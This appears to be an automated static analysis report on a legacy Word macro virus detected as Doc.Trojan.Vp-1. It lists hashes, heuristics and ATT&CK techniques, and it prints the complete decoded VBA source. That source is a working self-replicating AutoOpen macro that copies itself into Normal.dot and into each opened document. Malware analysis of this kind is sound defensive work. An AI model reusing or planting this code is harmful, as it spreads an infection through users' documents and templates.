Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 caf33e9cff6b694c…

MALICIOUS

Office (OLE)

57.0 KB Created: 1996-12-31 23:47:00 Authoring application: Microsoft Word 8.0 First seen: 2016-04-16
MD5: 71d1f186f2114ee8b6f91256a7540082 SHA-1: 74d79e47f892ea3a45adaac0d6fe4f8a29712352 SHA-256: caf33e9cff6b694cb29e60afeb3392b2b53049bfb61824e7e4d0dda446179260
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the Normal.dot template, which is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Vp-1' further supports the malicious nature of this file. While the macro's exact payload is not directly visible, its persistence mechanism is clear.

Heuristics 4

  • ClamAV: Doc.Trojan.Vp-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Vp-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1470 bytes
SHA-256: f81a9c89930b92da9fe0ce7e8c7ea4ef5681378cd9fbfb74ffe6b46f377581b8
Detection
ClamAV: Doc.Trojan.Vp-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
                ' ÒåñhnoVèðósÿÿÿÿ fîr MiñrîSîft Wîrd 6.Î-7.Î '
                ' (ñ) 1997-98 ÒåchnîSîft frîm Òîmsk          '
    CheckInWindow
    CheckNormal

End Sub

Private Function vpInNormal()
Dim i

    vpInNormal = 0

    For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then vpInNormal = -1
    Next

End Function

Private Sub CheckNormal()

    If Not vpInNormal Then WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Normal:AutoOpen"

End Sub

Private Function vpInWindow()
Dim i

    vpInWindow = 0

    For i = 1 To WordBasic.CountMacros(1)
        If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then vpInWindow = -1
    Next

End Function

Private Sub CheckInWindow()

    If Not vpInWindow Then WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1: WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", WordBasic.[FileNameFromWindow$]() + ":AutoOpen": WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1

End Sub

'   ÌàñrîÒåñhnî ?!